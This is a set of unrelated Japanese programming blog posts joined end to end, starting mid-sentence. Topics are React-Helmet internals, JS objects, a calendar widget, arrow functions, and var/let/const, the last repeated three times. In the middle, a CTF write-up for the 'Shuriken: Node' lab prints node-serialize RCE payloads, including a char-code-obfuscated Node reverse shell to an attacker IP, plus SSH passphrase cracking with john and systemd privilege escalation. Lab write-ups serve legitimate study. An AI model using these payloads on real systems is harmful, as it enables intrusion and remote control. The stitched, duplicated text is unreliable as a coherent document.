HelmetSideEffects = withSideEffect( reducePropsToState, handleClientStateChange, mapStateOnServer )(NullComponent); const HelmetExport = Helmet(HelmetSideEffects); const Helmet = Component => class HelmetWrapper extends React.Component という変わった書き方になっていますが、これは Higher-order Components というものになり、HelmetSideEffects の機能を使うための実装になります。 この HelmetSideEffects の中身の withSideEffect のソースコードはこちらにありますが、Helmet のコードで 簡単に言えば、 １：reducePropsToState で 受け取った props を state に reduce し、 ２：reducePropsToState で作った state (withSideEffect内部のみで分かる形) を受け取り、クライアントが動いているなら(Dom が使えるなら = canuseDom) handleClientStateChange を、サーバーで動いているなら (Dom が使えないなら) mapStateOnServer を実行し、state を view に反映させるなどしています。 ここで出てきた reducePropsToState と handleClientStateChange と mapStateOnServer が書いてあるファイルが、HelmetUtils.js になります。 しかし withSideEffect で最初に実行される reducePropsToState を動かすには、<Helmet></Helmet> の中にある要素 ( Children ) を Props にしてコンポーネントに渡す必要があります。 この Children を Props に渡す動作をしているのが、Helmet.js です。 内容は割愛しますが、上のコードの Helmet.js if (children) { newProps = this.mapChildrenToProps(children, newProps); } 部分の this.mapChildrenToProps(children, newProps) が、children と props を結合させている実装です。 その後、children が Props と結合した後で 呼び出されるのが、reducePropsToState と handleClientStateChange (とサーバーサイドなら mapStateOnServer) です。 まずは、受け取った Props を state に変換する reducePropsToState を見てみましょう。 HelmetUtils.js const reducePropsToState = propsList => ({ baseTag: getBaseTagFromPropsList( [TAG_PROPERTIES.HREF, TAG_PROPERTIES.TARGET], propsList ), bodyAttributes: getAttributesFromPropsList(ATTRIBUTE_NAMES.BODY, propsList), defer: getInnermostProperty(propsList, HELMET_PROPS.DEFER), encode: getInnermostProperty( propsList, HELMET_PROPS.ENCODE_SPECIAL_CHARACTERS ), htmlAttributes: getAttributesFromPropsList(ATTRIBUTE_NAMES.HTML, propsList), linkTags: getTagsFromPropsList( TAG_NAMES.LINK, [TAG_PROPERTIES.REL, TAG_PROPERTIES.HREF], propsList ), metaTags: getTagsFromPropsList( TAG_NAMES.META, [ TAG_PROPERTIES.NAME, TAG_PROPERTIES.CHARSET, TAG_PROPERTIES.HTTPEQUIV, TAG_PROPERTIES.PROPERTY, TAG_PROPERTIES.ITEM_PROP ], propsList ), // 省略 scriptTags: getTagsFromPropsList( TAG_NAMES.SCRIPT, [TAG_PROPERTIES.SRC, TAG_PROPERTIES.INNER_HTML], propsList ), styleTags: getTagsFromPropsList( TAG_NAMES.STYLE, [TAG_PROPERTIES.CSS_TEXT], propsList ), title: getTitleFromPropsList(propsList), titleAttributes: getAttributesFromPropsList( ATTRIBUTE_NAMES.TITLE, propsList ) }); 見れば分かるように、連想配列を返していますが、その key に linkTags・metaTags・scriptTags・styleTags・title があるのが読めますね。 ここでは、それぞれの連想配列の key で props から 該当するattribute (href や relなど) がある要素(titleやlinkやmetaなど) のみを取り出す関数を呼び出しています。 ここまでで、withSideEffect の最初に段階 reducePropsToState が読めました。 次は、handleClientStateChange (とサーバーサイドなら mapStateOnServer) です。ここでは、state を view に反映させる = head に title や meta や link を書き込むため、canUseDom でクライアントが動かせる場合に動く handleClientStateChange だけを見てみます。 ソースコードの該当箇所は、こちらです。 HelmetUtils.js const handleClientStateChange = newState => { if (_helmetCallback) { cancelAnimationFrame(_helmetCallback); } if (newState.defer) { _helmetCallback = requestAnimationFrame(() => { commitTagChanges(newState, () => { _helmetCallback = null; }); }); } else { commitTagChanges(newState); _helmetCallback = null; } }; newState という引数に、reducePropsToState で返している連想配列が入ります。 newState に defer があろうとなかそうと、commitTagChanges を実行していますね。では、この commitTagChanges を見てみましょう。 HelmetUtils.js const commitTagChanges = (newState, cb) => { const { baseTag, bodyAttributes, htmlAttributes, linkTags, metaTags, noscriptTags, onChangeClientState, scriptTags, styleTags, title, titleAttributes } = newState; updateAttributes(TAG_NAMES.BODY, bodyAttributes); updateAttributes(TAG_NAMES.HTML, htmlAttributes); updateTitle(title, titleAttributes); const tagUpdates = { baseTag: updateTags(TAG_NAMES.BASE, baseTag), linkTags: updateTags(TAG_NAMES.LINK, linkTags), metaTags: updateTags(TAG_NAMES.META, metaTags), noscriptTags: updateTags(TAG_NAMES.NOSCRIPT, noscriptTags), scriptTags: updateTags(TAG_NAMES.SCRIPT, scriptTags), styleTags: updateTags(TAG_NAMES.STYLE, styleTags) }; // 省略 }; 見れば分かるように、body・html タグでは updateAttributes を、titleタグでは updateTitle を、その他のタグでは updateTags を実行しています。 それぞれの実装を見たら、setAttribute や document.title= や appendChild があると思います。 ここまでで、React-Helmet の簡単な流れを把握することができました。 withSideEffect など一見難しそうに見える実装もありましたが、中身を見ると意外と読めますね。

はじめに 以下よりダウンロードできます。 免責事項 本記事で紹介する内容は、教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけに作成しております。 記載されているコードを実行した場合の損害は一切責任を負いません。 また、ハッキング行為をいかなる稼働環境・サービスに対しても行わないでください。成功しなくても試みること自体が違法行為にあたる場合があります。 上記の内容を十分理解された方のみ本記事をお読みください。 また、本記事の記載内容で、法的または倫理的に問題があると思われる箇所、その他お気づきの点などがございましたら、お手数ですがコメント欄までお知らせください。 SHURIKEN: NODEについて 難易度：易/中 前回の侵入事件後、Shuriken Companyはインフラを移転し再構築することを決定した。今回は異なる技術を使用し、安全性を確保することを保証している。果たしてそうだろうか？そうでないことを証明するのは、あなた方次第です。 私の主な焦点は、マシンを典型的なCTFのような謎解きにするのではなく、少なくとももう少し現実的なものにすることです。結局はカスタムマシンであることを忘れないでください。 このマシンはVirtualBoxでテストされました。 では、またルートでお会いしましょう。 ヒント: 足場固めには、ウェブアプリの背後にある技術と、それがどのようにユーザー入力を処理するのかを理解することが重要です。 これはVMwareではなくVirtualBoxを使った方がうまくいきます 脆弱性診断 調査 legionを用いたportスキャン 22,8080portが空いていることが確認できます。 niktoとnmapによる診断 これといった脆弱性が無いように思われます。 フロント画面 ログイン画面 BurpSuiteによる確認 repeaterによる確認 cookiesが追加された後、304のリダイレクトが起きます。 cookiesを調査 cookiesの誤りを修正とうまくいくようです。 googleで検索したところ以下のpdfに行き当たりました。 pdfの内容をつまみぐいをしながら、やってみたいと思います。 以下のコマンドで、疎通を確認できました。 ただ、相手側にncatが無いようなので、reverse_shellは取れませんでした。 {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c 3 192.168.56.30')}()","isGuest":false,"encoding": "utf-8"} 以下のコードを実行することで、コードを生成し、reverse_shellをとることができました。 {"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114, 101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32 ,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101, 115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56, 46,53,54,46,51,48,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79, 85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116, 114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105, 110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83, 116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97, 105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114, 101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116, 41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99, 40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105, 101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59, 10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84, 44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32, 32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110, 47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46, 119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10, 32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46, 115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111, 117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32, 32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110, 116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39, 44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41, 123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34, 68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32, 32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116, 46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40, 101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116, 40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32, 32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41, 59,10))}()","isGuest":false,"encoding": "utf-8"} ユーザの昇格 /var/backups配下にssh-buckup.zipがあります。 /tmpにコピーをして、unnzipを行います。 id_rsaの中身は以下の通りです。 kali上で以下のコマンドを実行し、　秘密鍵のパスフレーズの特定を行います。 python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.txt john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt ssh接続に成功しました。 1つ目のflagを発見しました。 ROOT権限昇格 shuriken-auto.timerとは何か調べてみましょう。 どうやら、shuriken-job.serviceを起動するためのもののようです。 shuriken-job.serviceを以下のように書き換えます。 ROOT権限とflag.txtを獲得することができました。

はじめに 　本記事は、プログラミング初学者が、学習を進めていて疑問に思った点について調べた結果を備忘録も兼ねてまとめたものです。 　そのため、記事の内容に誤りが含まれている可能性があります。ご容赦ください。 　間違いを見つけた方は、お手数ですが、ご指摘いただけますと幸いです。 オブジェクトについて オブジェクトとは オブジェクトとは、関連のあるデータと機能の集合のことです。 配列と同じように複数のデータをまとめて管理するのに使用されます。 配列は複数の値のみを並べて管理するのに対して、オブジェクトはそれぞれの値に対してプロパティと呼ばれる名前をつけて管理します。 配列とオブジェクトの違い // 配列 [ 値1, 値2, 値3 ] [ 1, 40, 58 ] //　値のみを並べて管理 // オブジェクト { プロパティ1: 値1, プロパティ2: 値2 } { name: "田中", age: 30 } // 値にプロパティをつけて管理 オブジェクトを代入する方法 オブジェクトの代入 const example = { name: "田中", age: 30 }; console.log(example); // { name: `田中`, age: 30 }; オブジェクトの値の取り出し、更新 オブジェクトの値の取り出しと更新 // 値の取り出し const example = { name: "田中", age: 30 }; // プロパティを指定して値を取り出すことができる。 console.log(example.name); // 田中 // 値の更新 const example = { name: "田中", age: 30 }; // 以下のように記述することで指定したプロパティの値を更新することができる example.name　= "佐藤" console.log(example.name); // 佐藤 オブジェクトを配列に格納する オブジェクトを要素に持つ配列 const examples = [ // インデックス番号[0] { name: "田中", age: 30 }, // インデックス番号[1] { name: "原", age: 25 } ]; console.log(examples[0]); // { name: "田中", age: 30 } // 以下のように記述することで指定したプロパティの値を取得することができる console.log(examples[0].age); // 30

calendar.html <!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8"> <title>カレンダー</title> </head> <body> <div class="container-calendar"> <h4 id="monthAndYear"></h4> <div class="button-container-calendar"> <button id="previous" onclick="previous()">‹</button> <button id="next" onclick="next()">›</button> </div> <table class="table-calendar" id="calendar" data-lang="ja"> <thead id="thead-month"></thead> <tbody id="calendar-body"></tbody> </table> <div class="footer-container-calendar"> <label for="month">日付指定：</label> <select id="month" onchange="jump()"> <option value=0>1月</option> <option value=1>2月</option> <option value=2>3月</option> <option value=3>4月</option> <option value=4>5月</option> <option value=5>6月</option> <option value=6>7月</option> <option value=7>8月</option> <option value=8>9月</option> <option value=9>10月</option> <option value=10>11月</option> <option value=11>12月</option> </select> <select id="year" onchange="jump()"></select> </div> </div> <script src="js/calendar.js" type="text/javascript"></script> <link rel="stylesheet" href="css/calendar.css"> </body> </html> calendar.js function generate_year_range(start, end) { var years = ""; for (var year = start; year <= end; year++) { years += "<option value='" + year + "'>" + year + "</option>"; } return years; } var today = new Date(); var currentMonth = today.getMonth(); var currentYear = today.getFullYear(); var selectYear = document.getElementById("year"); var selectMonth = document.getElementById("month"); var createYear = generate_year_range(1970, 2200); document.getElementById("year").innerHTML = createYear; var calendar = document.getElementById("calendar"); var lang = calendar.getAttribute('data-lang'); var months = ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月"]; var days = ["日", "月", "火", "水", "木", "金", "土"]; var dayHeader = "<tr>"; for (day in days) { dayHeader += "<th data-days='" + days[day] + "'>" + days[day] + "</th>"; } dayHeader += "</tr>"; document.getElementById("thead-month").innerHTML = dayHeader; monthAndYear = document.getElementById("monthAndYear"); showCalendar(currentMonth, currentYear); function next() { currentYear = (currentMonth === 11) ? currentYear + 1 : currentYear; currentMonth = (currentMonth + 1) % 12; showCalendar(currentMonth, currentYear); } function previous() { currentYear = (currentMonth === 0) ? currentYear - 1 : currentYear; currentMonth = (currentMonth === 0) ? 11 : currentMonth - 1; showCalendar(currentMonth, currentYear); } function jump() { currentYear = parseInt(selectYear.value); currentMonth = parseInt(selectMonth.value); showCalendar(currentMonth, currentYear); } function showCalendar(month, year) { var firstDay = ( new Date( year, month ) ).getDay(); tbl = document.getElementById("calendar-body"); tbl.innerHTML = ""; monthAndYear.innerHTML = months[month] + " " + year; selectYear.value = year; selectMonth.value = month; // creating all cells var date = 1; for ( var i = 0; i < 6; i++ ) { var row = document.createElement("tr"); for ( var j = 0; j < 7; j++ ) { if ( i === 0 && j < firstDay ) { cell = document.createElement( "td" ); cellText = document.createTextNode(""); cell.appendChild(cellText); row.appendChild(cell); } else if (date > daysInMonth(month, year)) { break; } else { cell = document.createElement("td"); cell.setAttribute("data-date", date); cell.setAttribute("data-month", month + 1); cell.setAttribute("data-year", year); cell.setAttribute("data-month_name", months[month]); cell.className = "date-picker"; cell.innerHTML = "<span>" + date + "</span>"; if ( date === today.getDate() && year === today.getFullYear() && month === today.getMonth() ) { cell.className = "date-picker selected"; } row.appendChild(cell); date++; } } tbl.appendChild(row); } } function daysInMonth(iMonth, iYear) { return 32 - new Date(iYear, iMonth, 32).getDate(); } calendar.css .wrapper { margin: 15px auto; max-width: 700px; } .container-calendar { background: #ffffff; padding: 15px; width: 100%; margin: 0 auto; overflow: auto; } .button-container-calendar button { cursor: pointer; display: inline-block; zoom: 1; background: #00a2b7; color: #fff; border: 1px solid #0aa2b5; border-radius: 4px; padding: 5px 10px; } .table-calendar { border-collapse: collapse; width: 100%; } .table-calendar th, .table-calendar td{ padding: 10px; border: 1px solid #e2e2e2; text-align: center; vertical-align: top; } .date-picker.selected { font-weight: bold; color: #fff; background: #cc0000; } .date-picker.selected span { border-bottom: 2px solid currentColor; } /* 日曜 */ .date-picker:nth-child(1) { color: red; } /* 土曜 */ .date-picker:nth-child(7) { color: blue; } #monthAndYear { text-align: center; margin-top: 0; } .button-container-calendar { position: relative; margin-bottom: 1em; overflow: hidden; clear: both; } #previous { float: left; } #next { float: right; } .footer-container-calendar { margin-top: 1em; border-top: 1px solid #dadada; padding: 10px 0; } .footer-container-calendar select { cursor: pointer; display: inline-block; zoom: 1; background: #ffffff; color: #454545; border: 1px solid #bfc5c5; border-radius: 3px; padding: 5px 1em; }

アウトプットとして 関数を簡略化して記述できるアロー関数、調べてみるとちょっとしたテクニックがあるみたいだったのでまとめてみました。 ちなみにいろんな関数の定義の仕方や特徴はこちらにまとめています。 JavaScriptの関数 アロー関数とは functionの記述を省略し、その代わりに（）=>という記述によって関数を定義する構文です。より短い記述で関数定義をできるという点がメリット。 // 無名関数 const 変数名 = function(){ 処理 } // アロー関数 const 変数名 = () => { 処理 } 引数が1つの場合は丸括弧が省略できる 定義の際に引数が1つしかない場合は丸括弧を省略できる。 ただし、スプレッド構文...を使用する場合は省略できません。 // 省略しない var hoge = (a) => { 処理 } // 省略できる var hoge = a => { 処理 } // スプレッド構文の場合 var hoge = (...args) => { 処理 } return文やブロック{}を省略できる 関数内の処理が1行として読めるコードでreturn文で値を返している場合は、return文とブロック{}を省略することができます。 // 省略しない var hoge = (a, b) => { return a + b; }; // 省略する var hoge = (a, b) => a + b; 　　 　 以上のことを活用するともっとシンプルなコードが書けそうな気がします…！！ ※補足等ありましたらコメントいただけると幸いです。

はじめに JavaScriptの変数定義について、何となくは知っているけど人にちゃんと説明出来るレベルで理解しているかと言われると自信がない…という、この記事を書く前までの私のようなエンジニアの方、安心してください。この記事で理解しましょう。 JavaScript初学者の方も安心してください、この記事で理解しましょう。 JavaScriptの変数宣言 var、let、constの3つの宣言方法がある varはJavaScriptリリース当初からある宣言方法 letとconstはJavaScriptの最新標準仕様に採択されたES2015で追加された宣言方法 3つの違いは 再宣言の可否、再代入の可否、スコープ、ホイスティング の4点 3つの変数宣言の違い（結論） var let const 再宣言 ○ × × 再代入 ○ ○ × スコープ 関数 ブロック ブロック ホイスティング ○ undefined エラー 先に結論を提示してしまうと上表の通りです。 ここからは実際にコードを書いて挙動の違いを確認していきます。 再宣言 再宣言：一度宣言した変数を再度宣言すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro var sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro let sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro const sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared varは再宣言が可能 letとconstは再宣言の時点でエラー 再代入 再代入：既に値が入っている変数に再度値を代入すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; // Uncaught TypeError: Assignment to constant variable. varとletは再代入が可能 constは再代入の時点でエラー スコープ スコープ：直訳すると scope：範囲 のことで、「変数のスコープ」とは「変数が使用出来る範囲」のことを指す。 JavaScriptのスコープにはグローバルスコープとローカルスコープの2種があり、ローカルスコープには関数スコープとブロックスコープの2種がある。（詳細は割愛） /* var */ var sushi = 'maguro'; if (true) { console.log(sushi); // => maguro var sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => ikura /* let */ let sushi = 'maguro'; if (true) { console.log(sushi); // => maguro let sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro /* const */ const sushi = 'maguro'; if (true) { console.log(sushi); // => maguro const sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro varは関数スコープなので、ブロック外で宣言された変数に対してブロック内で再宣言が出来てしまう。 letとconstはブロックスコープなので、ブロックの内外で変数宣言は区別される。 ホイスティング ホイスティング：コンテキスト内で宣言した変数定義をコード実行前にメモリに配置すること。巻き上げともいう。 /* var */ sushi = 'maguro'; console.log(sushi) // => maguro var sushi; console.log(sushi) // => maguro /* let */ sushi = 'maguro'; console.log(sushi) // => maguro let sushi; console.log(sushi) // undefined /* const */ sushi = 'maguro'; console.log(sushi) // => maguro const sushi; // Uncaught SyntaxError: Missing initializer in const declaration varは変数宣言をする前に変数に入れた値がそのまま変数定義時の値に引き継がれている。 letはundefined、つまり「変数宣言はされているけど値が定義されていませんよ」の状態。 constは変数宣言時に値の定義も必要なので、「値が定義されていませんよ」の状態。 まとめ varはミスリーディングによる意図せぬ変数使用が起こり得るので使うべきではない 変数宣言は大人しくconstを使おう 再代入が必要な場合に限りletを使おう （以前の案件では全ての変数がvarで宣言されていたけど、良い「悪い例」のソースコードだったなあ、と…。）

JavaScriptの変数宣言 var、let、constの3つの宣言方法がある varはJavaScriptリリース当初からある宣言方法 letとconstはJavaScriptの最新標準仕様に採択されたES2015で追加された宣言方法 3つの違いは 再宣言の可否、再代入の可否、スコープ、ホイスティング の4点 3つの変数宣言の違い（結論） var let const 再宣言 ○ × × 再代入 ○ ○ × スコープ 関数 ブロック ブロック ホイスティング ○ undefined エラー 先に結論を提示してしまうと上表の通りです。 ここからは実際にコードを書いて挙動の違いを確認していきます。 再宣言 再宣言：一度宣言した変数を再度宣言すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro var sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro let sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro const sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared varは再宣言が可能 letとconstは再宣言の時点でエラー 再代入 再代入：既に値が入っている変数に再度値を代入すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; // Uncaught TypeError: Assignment to constant variable. varとletは再代入が可能 constは再代入の時点でエラー スコープ スコープ：直訳すると scope：範囲 のことで、「変数のスコープ」とは「変数が使用出来る範囲」のことを指す。JavaScriptのスコープにはグローバルスコープとローカルスコープの2種があり、ローカルスコープには関数スコープとブロックスコープの2種がある。（詳細は割愛） /* var */ var sushi = 'maguro'; if (true) { console.log(sushi); // => maguro var sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => ikura /* let */ let sushi = 'maguro'; if (true) { console.log(sushi); // => maguro let sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro /* const */ const sushi = 'maguro'; if (true) { console.log(sushi); // => maguro const sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro varは関数スコープなので、ブロック外で宣言された変数に対してブロック内で再宣言が出来てしまう。 letとconstはブロックスコープなので、ブロックの内外で変数宣言は区別される。 ホイスティング ホイスティング：コンテキスト内で宣言した変数定義をコード実行前にメモリに配置すること。巻き上げともいう。 /* var */ sushi = 'maguro'; console.log(sushi) // => maguro var sushi; console.log(sushi) // => maguro /* let */ sushi = 'maguro'; console.log(sushi) // => maguro let sushi; console.log(sushi) // undefined /* const */ sushi = 'maguro'; console.log(sushi) // => maguro const sushi; // Uncaught SyntaxError: Missing initializer in const declaration varは変数宣言をする前に変数に入れた値がそのまま変数宣言時の値に引き継がれている。 letはundefined、つまり「変数宣言はされているけど値が定義されていませんよ」の状態。 constは変数宣言時に値の定義も必要なので、「値が定義されていませんよ」の状態。 まとめ varはミスリーディングによる意図せぬ変数使用が起こり得るので使うべきではない 変数宣言は大人しくconstを使おう 再代入が必要な場合に限りletを使おう （以前の案件のソースコードは全ての変数がvarで宣言されていたけど、良い「悪い例」だったなあ、と…。）

JavaScriptの変数宣言 var、let、constの3つの宣言方法がある varはJavaScriptリリース当初からある宣言方法 letとconstはJavaScriptの最新標準仕様に採択されたES2015で追加された宣言方法 3つの違いは 再宣言の可否、再代入の可否、スコープ、ホイスティング の4点 3つの変数宣言の違い（結論） var let const 再宣言 ○ × × 再代入 ○ ○ × スコープ 関数 ブロック ブロック ホイスティング ○ undefined エラー 先に結論を提示してしまうと上表の通りです。 ここからは実際にコードを書いて挙動の違いを確認していきます。 再宣言 再宣言：一度宣言した変数を再度宣言すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro var sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro let sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro const sushi = 'ikura'; // Uncaught SyntaxError: Identifier 'sushi' has already been declared varは再宣言が可能 letとconstは再宣言の時点でエラー 再代入 再代入：既に値が入っている変数に再度値を代入すること。 /* var */ var sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* let */ let sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; console.log(sushi) // => ikura /* const */ const sushi = 'maguro'; console.log(sushi) // => maguro sushi = 'ikura'; // Uncaught TypeError: Assignment to constant variable. varとletは再代入が可能 constは再代入の時点でエラー スコープ スコープ：直訳すると scope：範囲 のことで、「変数のスコープ」とは「変数が使用出来る範囲」のことを指す。JavaScriptのスコープにはグローバルスコープとローカルスコープの2種があり、ローカルスコープには関数スコープとブロックスコープの2種がある。（詳細は割愛） /* var */ var sushi = 'maguro'; if (true) { console.log(sushi); // => maguro var sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => ikura /* let */ let sushi = 'maguro'; if (true) { console.log(sushi); // => maguro let sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro /* const */ const sushi = 'maguro'; if (true) { console.log(sushi); // => maguro const sushi = 'ikura'; console.log(sushi); // => ikura } console.log(sushi); // => maguro varは関数スコープなので、ブロック外で宣言された変数に対してブロック内で再宣言が出来てしまう。 letとconstはブロックスコープなので、ブロックの内外で変数宣言は区別される。 ホイスティング ホイスティング：コンテキスト内で宣言した変数定義をコード実行前にメモリに配置すること。巻き上げともいう。 /* var */ sushi = 'maguro'; console.log(sushi) // => maguro var sushi; console.log(sushi) // => maguro /* let */ sushi = 'maguro'; console.log(sushi) // => maguro let sushi; console.log(sushi) // undefined /* const */ sushi = 'maguro'; console.log(sushi) // => maguro const sushi; // Uncaught SyntaxError: Missing initializer in const declaration varは変数宣言をする前に変数に入れた値がそのまま変数宣言時の値に引き継がれている。 letはundefined、つまり「変数宣言はされているけど値が定義されていませんよ」の状態。 constは変数宣言時に値の定義も必要なので、「値が定義されていませんよ」の状態。 まとめ varはミスリーディングによる意図せぬ変数使用が起こり得るので使うべきではない 変数宣言は大人しくconstを使おう 再代入が必要な場合に限りletを使おう （以前の案件のソースコードは全ての変数がvarで宣言されていたけど、良い「悪い例」だったなあ、と…。）